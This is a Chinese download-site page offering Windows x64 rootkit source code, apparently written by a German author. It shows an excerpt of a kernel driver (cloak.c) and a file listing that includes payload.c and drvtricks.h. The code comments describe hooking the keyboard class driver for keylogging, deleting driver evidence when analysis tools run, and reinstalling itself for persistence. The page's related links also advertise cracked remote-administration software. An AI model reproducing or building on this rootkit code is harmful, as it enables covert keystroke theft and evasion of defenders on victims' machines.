资源简介
德国人写的win64位RootKit源代码。

代码片段和文件信息
//!!!THIS CODE FULLY WORKING!!! SURE!!!!!!!!!!!!!!!!!!!!!!!!!!!!
#include “cloak.h“
#define TOUPPER_DELTA (‘a‘ - ‘A‘)
void PrepOnBoot(PVOID pParameter);
void PrepOnShutdown(PVOID pParameter);
void CreateRandName(PWCHAR pRandDrvName ULONG length);
BOOL mystrcmp(const WCHAR* prefix WCHAR* testStr ULONG lengthGiven PARSEMETHOD parseMethod){
lengthGiven >>= 1;
if ((NULL == prefix) || (NULL == testStr)){
return FALSE;
}
ULONG prefixLength = 0;
SIZE_T j = 0;
while (0 != prefix[prefixLength]){
prefixLength++;
}
if (prefixLength <= lengthGiven){
if (parseMethod == METHOD_END){
j = lengthGiven - prefixLength;
}
SIZE_T i = 0;
for (; j < lengthGiven - prefixLength + 1; j++){
for (i = 0; i < prefixLength; i++){
if ((testStr[i + j] > 64) && (testStr[i + j] < 91)){
if (prefix[i] != testStr[i + j] + (WCHAR)32){
break;
}
}
else{
if (prefix[i] != testStr[i + j]){
break;
}
}
}
if (i >= (prefixLength)){
return TRUE;
}
}
return FALSE;
}
return FALSE;
}
void InitThread(PVOID pStartContext){
DbgPrint(“Hello from InitThread“);
ExQueueWorkItem(pStartContext DelayedWorkQueue);
PsTerminateSystemThread(0x0);
}
///This is the main thread responsible for both cloaking and persistence.
///At the beginning we do some keylogger initialization.
///Then we check if any blacklisted processes are existing. If not we repeat until we detect a blacklisted
///process. If so all driver evidence will be deleted.
///Then we perform a passive wait on the first blacklisted process we find.
///Once the wait is satisfied (process terminated) we install us again in the system so we will be started at next boot.
void SenseThread(PVOID pStartContext){
UNREFERENCED_PARAMETER(pStartContext);
DbgPrint(“Hello from SenseThread“);
LARGE_INTEGER interval;
NTSTATUS ntstatus = STATUS_UNSUCCESSFUL;
PUNICODE_STRING pProcessName;
UNICODE_STRING uKbdDrvName;
PEPROCESS pEprocess;
PDRIVER_object pKbdDrvObj = NULL;
interval.QuadPart = -1500000;
InitializeListHead(&(g_pKbdHookInfo->queueListHead));
KeInitializeSpinLock(&(g_pKbdHookInfo->queueSpinLock));
KeInitializeSemaphore(&(g_pKbdHookInfo->queueSemaphore) 0 MAXLONG);
///Try to directly access the keyboard class driver
RtlInitUnicodeString(&uKbdDrvName L“\\Driver\\kbdclass“);
for (;;){
ntstatus = ObReferenceobjectByName(&uKbdDrvName OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE NULL 0 IoDriverobjectType KernelMode NULL &pKbdDrvObj);
if (NT_SUCCESS(ntstatus)){
break;
}
KeDelayExecutionThread(KernelMode FALSE &interval);
}
BOOL isPatched = FALSE;
PETHREAD pEthread;
for (;;){
pEprocess = NULL;
pProcessName = NULL;
pEthread = NULL;
DbgPrint(“object not opened (0x%lX) starting next iteration.“ ntstatus);
///In our situation a polling approach is much easier than issuing a NtQuerySystemInformation call.
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 15664 2014-09-21 19:42 cloak.c
文件 153 2014-08-07 01:07 cloak.h
文件 82064 2014-09-21 20:00 drvtricks.h
文件 8380 2014-09-21 19:48 main.c
文件 12045 2014-09-21 19:56 payload.c
文件 311 2014-09-21 19:58 payload.h
- 上一篇:步进电机线速度控制官方源码+Datasheet
- 下一篇:成都光明玻璃库
相关资源
- 联想y470无线网卡驱动 for 32位64位
- JDK8 绿色版 免安装版 64位
- CAD2010注册机32bit and 64bit
- JM阅读笔记(学习H264)
- 12864滚动显示汉字
- mexLasso.m 及mexLasso.mexw64
- keil vcom windows 7 64bit 驱动
- h264 ip核,经过asic验证
- 单片机控制74ls164程序
- lcd12864的VHDL程序
- 全自动多功能编码转换工具(URLASCI
- LCD12864滚动显示
- zlib 最新 1.2.8 win32 win64 编译好的dll
- atmega64bootload
- H.264编码器流程图
- lz4压缩解压工具x64和x86
- CentOS-6.7-x86_64-bin-DVD1to2
- Win7 64位下不能运行dos 命令的原因
- 金欣口服液含药血清对呼吸道合胞病
- nasm-2.15-x64
- Radmin Server-3.5 完美绿色破解版x32 x64通
- G460 2.15 x64 bios
- SDINBDG4-64GB_datasheet generic final v1.pdf
- STM32的PCB封装库,以及原理图库,48
- 毕索龙bixolon 2478bsc打印机驱动 v4.6.6
- 毕索龙bixolon 3468bsc打印机驱动 v4.6.6
- win7 64bit 串口调试工具
- libaio-0.3.107-10.el6.x86_64.rpm
- ARM64 完整指令集,学习必备
- win10 64位下编译的opencv4.5.5库,opencv
评论
共有 条评论